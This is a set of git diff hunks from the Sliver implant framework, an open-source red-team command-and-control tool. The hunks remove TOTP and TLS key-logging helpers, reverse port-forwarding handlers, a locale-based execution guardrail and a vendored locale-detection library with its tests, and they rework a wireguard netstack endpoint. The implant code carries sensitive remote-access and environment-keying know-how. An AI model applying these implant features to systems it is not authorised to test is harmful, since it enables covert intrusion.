mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
}
# we are expecting from run from sliver/implant via 'go generate'
cd scripts
@@ -22,10 +12,6 @@ cp ../go-mod "${tempDir}/go.mod"
cp ../go-sum "${tempDir}/go.sum"
mv ../vendor "${tempDir}/vendor"
# Trap when a build fails so we can reset the environment
trap 'cleanup $? $LINENO' ERR
# build Go file with all imported packages
go run update-vendor.go "$tempDir"
cd "$tempDir"
@@ -34,4 +20,8 @@ go mod tidy -compat=1.17
go mod vendor
# move updated files back
cleanup
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
-9
View File
@@ -182,15 +182,6 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
return ciphertext, nil
}
// GetExactOTPCode - Get the OTP code for a specific timestamp
func GetExactOTPCode(timestamp time.Time) string {
code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
// {{if .Config.Debug}}
log.Printf("TOTP Code (%s): %s", timestamp, code)
// {{end}}
return code
}
// GetOTPCode - Get the current OTP code
func GetOTPCode() string {
now := time.Now().UTC()
-42
View File
@@ -1,42 +0,0 @@
package cryptography
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
)
var (
// TLSKeyLogger - File descriptor for logging TLS keys
TLSKeyLogger = newKeyLogger()
)
func newKeyLogger() *os.File {
// {{if .Config.Debug}}
keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
if present {
keyFile, err := os.OpenFile(keyFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
return nil
}
return keyFile
}
// {{end}}
return nil
}
-6
View File
@@ -58,9 +58,6 @@ type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
// PivotHandler - Handler related to pivoting
type PivotHandler func(*sliverpb.Envelope, *transports.Connection)
// RportFwdHandler - Handler related to reverse port forwarding
type RportFwdHandler func(*sliverpb.Envelope, *transports.Connection)
// -----------------------------------------------------
// -----------------------------------------------------
// -----------------------------------------------------
@@ -375,9 +372,6 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
to download a single file
*/
fileInfo, err := os.Stat(path + filter)
if err != nil {
return nil, false, 0, 1, err
}
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
@@ -1,159 +0,0 @@
package handlers
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"time"
rportfwd "github.com/bishopfox/sliver/implant/sliver/rportfwd"
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
var (
genericRportFwdHandlers = map[uint32]RportFwdHandler{
pb.MsgRportFwdListenersReq: rportFwdListenersHandler,
pb.MsgRportFwdStartListenerReq: rportFwdStartListenerHandler,
pb.MsgRportFwdStopListenerReq: rportFwdStopListenerHandler,
}
)
// GetRportFwdHandlers - Returns a map of reverse port forwarding handlers
func GetRportFwdHandlers() map[uint32]RportFwdHandler {
return genericRportFwdHandlers
}
func rportFwdListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
forwards := rportfwd.Portfwds.List()
var portfwdListeners []*pb.RportFwdListener
for _, portfwd := range forwards {
portfwdListeners = append(portfwdListeners, &pb.RportFwdListener{
ID: uint32(portfwd.ID),
BindAddress: portfwd.BindAddr,
ForwardAddress: portfwd.RemoteAddr,
})
}
data, _ := proto.Marshal(&pb.RportFwdListeners{
Listeners: portfwdListeners,
Response: &commonpb.Response{},
})
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
func rportFwdStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.RportFwdStartListenerReq{}
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
rportfwds := rportfwd.Portfwds.List()
for _, r := range rportfwds {
if r.BindAddr == req.BindAddress {
resp.Response.Err = "Already listening on " + r.BindAddr + "\n"
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &rportfwd.ChannelProxy{
Conn: connection,
RemoteAddr: req.ForwardAddress,
BindAddr: req.BindAddress,
KeepAlivePeriod: 1000 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(req.BindAddress, channelProxy)
rportfwd := rportfwd.Portfwds.Add(tcpProxy, channelProxy)
go func() {
err := tcpProxy.Run()
if err != nil {
// {{if .Config.Debug}}
log.Printf("Proxy error %s", err)
// {{end}}
}
}()
resp.BindAddress = req.BindAddress
resp.ForwardAddress = req.ForwardAddress
resp.BindPort = req.ForwardPort
resp.ForwardPort = req.ForwardPort
resp.ID = uint32(rportfwd.ID)
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
func rportFwdStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.RportFwdStopListenerReq{}
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
rportfwd := rportfwd.Portfwds.Remove(int(req.ID))
if rportfwd != nil {
resp.ID = uint32(rportfwd.ID)
resp.BindAddress = rportfwd.ChannelProxy.BindAddr
resp.ForwardAddress = rportfwd.ChannelProxy.RemoteAddr
} else {
resp.Response.Err = "Invalid ID\n"
}
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
-22
View File
@@ -30,10 +30,7 @@ import (
// {{if .Config.LimitUsername}}
"os/user"
// {{end}}
// {{if .Config.LimitLocale}}
"regexp"
// {{end}}
// {{if .Config.LimitDatetime}}
@@ -43,10 +40,6 @@ import (
// {{if or .Config.LimitHostname .Config.LimitUsername}}
"strings"
// {{else}}{{end}}
// {{if .Config.LimitLocale}}
"github.com/bishopfox/sliver/implant/sliver/locale"
// {{end}}
)
// ExecLimits - Checks for execution limitations (domain, hostname, etc)
@@ -111,21 +104,6 @@ func ExecLimits() {
}
// {{end}}
// {{if .Config.LimitLocale}}
locale := locale.GetLocale()
match, err := regexp.MatchString(`{{.Config.LimitLocale}}`, locale)
if !match {
// {{if .Config.Debug}}
if err != nil {
log.Printf("LimitLocale regexp: %s", err)
} else {
log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
}
// {{end}}
os.Exit(1)
}
// {{end}}
// {{if .Config.Debug}}
log.Printf("Limit checks completed")
// {{end}}
-201
View File
@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright 2014 Pivotal
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -1,95 +0,0 @@
# Jibber Jabber [![Build Status](https://travis-ci.org/cubiest/jibberjabber.svg?branch=master)](https://travis-ci.org/cubiest/jibberjabber)
Jibber Jabber is a GoLang Library that can be used to detect an operating system's current language, plus helper functionalities for app development.
## OS Support
UNIX: **GNU/Linux**, **macOS**, **FreeBSD**, **OpenBSD**, **NetBSD**
via the `LC_MESSAGES`, `LC_ALL` and `LANG` environment variables. They are checked in the aforementioned order.
These variables are used in ALL versions of UNIX for language detection.
**Windows**
via [GetUserDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getuserdefaultlocalename) and [GetSystemDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getsystemdefaultlocalename) system calls. These calls are supported in Windows Vista and up.
## DetectIETF
`DetectIETF` will return the current locale as a string. The format of the locale will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code, a DASH, then an [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
**Example:**
```golang
userLocale, err := jibberjabber.DetectIETF()
println("Locale:", userLocale)
```
## DetectLanguage
`DetectLanguage` will return the current language as a string. The format will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code.
also import the following packages for parsing the returned locale
```golang
"golang.org/x/text/language"
"golang.org/x/text/language/display"
```
**Example:**
```golang
userLanguage, err := jibberjabber.DetectLanguage()
println("Language:", userLanguage)
languageTag, parseErr := language.Parse(userLanguage)
println("Language:", display.Self.Name(languageTag))
```
## DetectLanguageTag
`DetectLanguageTag` will return the current language as a language tag as specified by `"golang.org/x/text/language"`.
**Example:**
```golang
languageTag, parseErr := jibberjabber.DetectLanguageTag()
println("Language:", display.Self.Name(languageTag))
```
## DetectTerritory
`DetectTerritory` will return the current locale territory as a string. The format will be the [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
**Example:**
```golang
localeTerritory, err := jibberjabber.DetectTerritory()
println("Territory:", localeTerritory)
```
## About Errors in Detect
All the Detect commands will return an error if they are unable to read the Locale from the system.
For Windows, additional error information is provided due to the nature of the system call being used.
## Helper Singleton
There is a singleton you can, but don't have to, use. It helps you define and later check which locales you support in your application - if not, apply a fallback language locale.
**Example:**
```golang
langServer := jibberjabber.LanguageServer()
langServer.SetSupportedLanguages(map[language.Tag]string{
language.German: "active.de.toml",
language.English: "active.en.toml",
}
langServer.SetFallbackLanguage(language.English)
langLocale, err := langServer.StringToSupportedLanguageTag("something") // returns `language.English`
if err != nil {
log.Printf("failed fetching supported language locale, use fallback language locale %q\n", display.Self.Name(langLocale))
}
```
@@ -1,44 +0,0 @@
package jibberjabber
import (
"errors"
// "fmt"
// "sort"
"strings"
// "sync"
// "golang.org/x/text/language"
// "golang.org/x/text/language/display"
)
var (
ErrLangDetectFail = errors.New("could not detect Language")
ErrLangFallbackUndefined = errors.New("no fallback language defined")
ErrLangFallbackUnsupported = errors.New("defined fallback language is not supported")
ErrLangUnsupported = errors.New("language not supported")
ErrLangParse = errors.New("language identifier cannot be parsed")
)
func splitLocale(locale string) (string, string) {
formattedLocale := strings.Split(locale, ".")[0]
formattedLocale = strings.Replace(formattedLocale, "-", "_", -1)
pieces := strings.Split(formattedLocale, "_")
language := pieces[0]
territory := ""
if len(pieces) > 1 {
territory = strings.Split(formattedLocale, "_")[1]
}
return language, territory
}
/**
* languageServer
*/
// IsError checks an error you received from one of jibberjabber's funcs for a jibberjabber error like `ErrLangDetectFail`.
// Reason you cannot use e.g. `errors.Is()`: currently, golang does not allow native chain-wrapping errors. Therefore, `errors.Unwrap()`, `errors.Is()` & Co. won't return `true` for jibberjabber errors.
func IsError(err error, jjError error) bool {
return strings.HasPrefix(err.Error(), jjError.Error())
}
@@ -1,13 +0,0 @@
package jibberjabber_test
import (
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"testing"
)
func TestJibberJabber(t *testing.T) {
RegisterFailHandler(Fail)
RunSpecs(t, "Jibber Jabber Suite")
}
@@ -1,44 +0,0 @@
// +build darwin freebsd linux netbsd openbsd
package jibberjabber
import (
"os"
"strings"
)
func getLangFromEnv() string {
for _, env := range []string{"LC_MESSAGES", "LC_ALL", "LANG"} {
locale := os.Getenv(env)
if len(locale) > 0 {
return locale
}
}
return ""
}
func getUnixLocale() (string, error) {
locale := getLangFromEnv()
if len(locale) <= 0 {
return "", ErrLangDetectFail
}
return locale, nil
}
// DetectIETF detects and returns the IETF language tag of UNIX systems, like Linux and macOS.
// If a territory is defined, the returned value will be in the format of `[language]-[territory]`,
// e.g. `en-GB`.
func DetectIETF() (string, error) {
locale, err := getUnixLocale()
if err != nil {
return "", err
}
language, territory := splitLocale(locale)
locale = language
if len(territory) > 0 {
locale = strings.Join([]string{language, territory}, "-")
}
return locale, nil
}
@@ -1,155 +0,0 @@
// +build darwin freebsd linux netbsd openbsd
package jibberjabber_test
import (
"errors"
"os"
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
var _ = Describe("Unix", func() {
AfterEach(func() {
os.Setenv("LC_MESSAGES", "")
os.Setenv("LC_ALL", "")
os.Setenv("LANG", "en_US.UTF-8")
})
Describe("#DetectIETF", func() {
Context("Returns IETF encoded locale", func() {
It("should return the locale set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return the locale set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return the locale set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return an error if it cannot detect a locale", func() {
os.Setenv("LANG", "")
_, err := DetectIETF()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
Context("when the locale is simply 'fr'", func() {
BeforeEach(func() {
os.Setenv("LANG", "fr")
})
It("should return the locale without a territory", func() {
language, err := DetectIETF()
Ω(err).ShouldNot(HaveOccurred())
Ω(language).Should(Equal("fr"))
})
})
})
Describe("#DetectLanguage", func() {
Context("Returns encoded language", func() {
It("should return the language set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return the language set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return the language set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return an error if it cannot detect a language", func() {
os.Setenv("LANG", "")
_, err := DetectLanguage()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
Describe("#DetectLanguageTag", func() {
Context("Returns encoded language tag", func() {
It("should return language tag corresponding to the language set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return language tag corresponding to the language set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return language tag corresponding to the language set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return an error if it cannot detect and parse a language tag", func() {
os.Setenv("LANG", "")
_, err := DetectLanguageTag()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
Describe("#DetectTerritory", func() {
Context("Returns encoded territory", func() {
It("should return the territory set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return the territory set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return the territory set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return an error if it cannot detect a territory", func() {
os.Setenv("LANG", "")
_, err := DetectTerritory()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
})
@@ -1,47 +0,0 @@
// +build windows
package jibberjabber
import (
"errors"
"unsafe"
"golang.org/x/sys/windows"
)
// TODO: read LOCALE_NAME_MAX_LENGTH from Windows, instead of hard-coding '85'
const LOCALE_NAME_MAX_LENGTH uint32 = 85
func getWindowsLocaleFrom(sysCall string) (string, error) {
buffer := make([]uint16, LOCALE_NAME_MAX_LENGTH)
dll, err := windows.LoadDLL("kernel32")
if err != nil {
return "", errors.New("could not find kernel32 dll: " + err.Error())
}
proc, err := dll.FindProc(sysCall)
if err != nil {
return "", err
}
r, _, dllError := proc.Call(uintptr(unsafe.Pointer(&buffer[0])), uintptr(LOCALE_NAME_MAX_LENGTH))
if r == 0 {
return "", errors.New(ErrLangDetectFail.Error() + ": " + dllError.Error())
}
return windows.UTF16ToString(buffer), nil
}
func getWindowsLocale() (string, error) {
locale, err := getWindowsLocaleFrom("GetUserDefaultLocaleName")
if err != nil {
locale, err = getWindowsLocaleFrom("GetSystemDefaultLocaleName")
}
return locale, err
}
// DetectIETF detects and returns the IETF language tag of Windows.
func DetectIETF() (string, error) {
return getWindowsLocale()
}
@@ -1,63 +0,0 @@
// +build windows
package jibberjabber_test
import (
"regexp"
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
const (
LOCALE_REGEXP = "^[a-z]{2}-[A-Z]{2}$"
LANGUAGE_REGEXP = "^[a-z]{2}$"
TERRITORY_REGEXP = "^[A-Z]{2}$"
)
var _ = Describe("Windows", func() {
BeforeEach(func() {
locale, err := DetectIETF()
Ω(err).Should(BeNil())
Ω(locale).ShouldNot(BeNil())
Ω(locale).ShouldNot(Equal(""))
})
Describe("#DetectIETF", func() {
It("detects correct IETF locale", func() {
locale, _ := DetectIETF()
matched, _ := regexp.MatchString(LOCALE_REGEXP, locale)
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectLanguage", func() {
It("detects correct Language", func() {
language, _ := DetectLanguage()
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, language)
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectLanguageTag", func() {
It("detects correct Language Tag", func() {
result, _ := DetectLanguageTag()
base, _ := result.Base()
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, base.String())
Ω(matched).Should(BeTrue())
region, _ := result.Region()
matched, _ = regexp.MatchString(TERRITORY_REGEXP, region.String())
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectTerritory", func() {
It("detects correct Territory", func() {
territory, _ := DetectTerritory()
matched, _ := regexp.MatchString(TERRITORY_REGEXP, territory)
Ω(matched).Should(BeTrue())
})
})
})
-35
View File
@@ -1,35 +0,0 @@
//go:build darwin || linux || windows
package locale
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
)
// GetLocale returns the default language set
func GetLocale() string {
userLocale, err := jibberjabber.DetectIETF()
if err != nil {
return ""
}
return userLocale
}
-30
View File
@@ -1,30 +0,0 @@
//go:build !darwin && !windows && !linux
package locale
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
-----------------------------------------------------------------------
Place holder so we don't get undefined functions in generic builds.
*/
// GetLocale returns the default language set
func GetLocale() string {
return ""
}
+71 -34
View File
@@ -6,7 +6,6 @@
package netstack
import (
"bytes"
"context"
"crypto/rand"
"encoding/binary"
@@ -24,11 +23,10 @@ import (
"golang.zx2c4.com/wireguard/tun"
"golang.org/x/net/dns/dnsmessage"
"gvisor.dev/gvisor/pkg/bufferv2"
"gvisor.dev/gvisor/pkg/tcpip"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"gvisor.dev/gvisor/pkg/tcpip/buffer"
"gvisor.dev/gvisor/pkg/tcpip/header"
"gvisor.dev/gvisor/pkg/tcpip/link/channel"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
"gvisor.dev/gvisor/pkg/tcpip/stack"
@@ -39,16 +37,69 @@ import (
)
type netTun struct {
ep *channel.Endpoint
stack *stack.Stack
dispatcher stack.NetworkDispatcher
events chan tun.Event
incomingPacket chan *bufferv2.View
incomingPacket chan buffer.VectorisedView
mtu int
dnsServers []netip.Addr
hasV4, hasV6 bool
}
type Net netTun
type (
endpoint netTun
Net netTun
)
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
e.dispatcher = dispatcher
}
func (e *endpoint) IsAttached() bool {
return e.dispatcher != nil
}
func (e *endpoint) MTU() uint32 {
mtu, err := (*netTun)(e).MTU()
if err != nil {
panic(err)
}
return uint32(mtu)
}
func (*endpoint) Capabilities() stack.LinkEndpointCapabilities {
return stack.CapabilityNone
}
func (*endpoint) MaxHeaderLength() uint16 {
return 0
}
func (*endpoint) LinkAddress() tcpip.LinkAddress {
return ""
}
func (*endpoint) Wait() {}
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
return nil
}
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
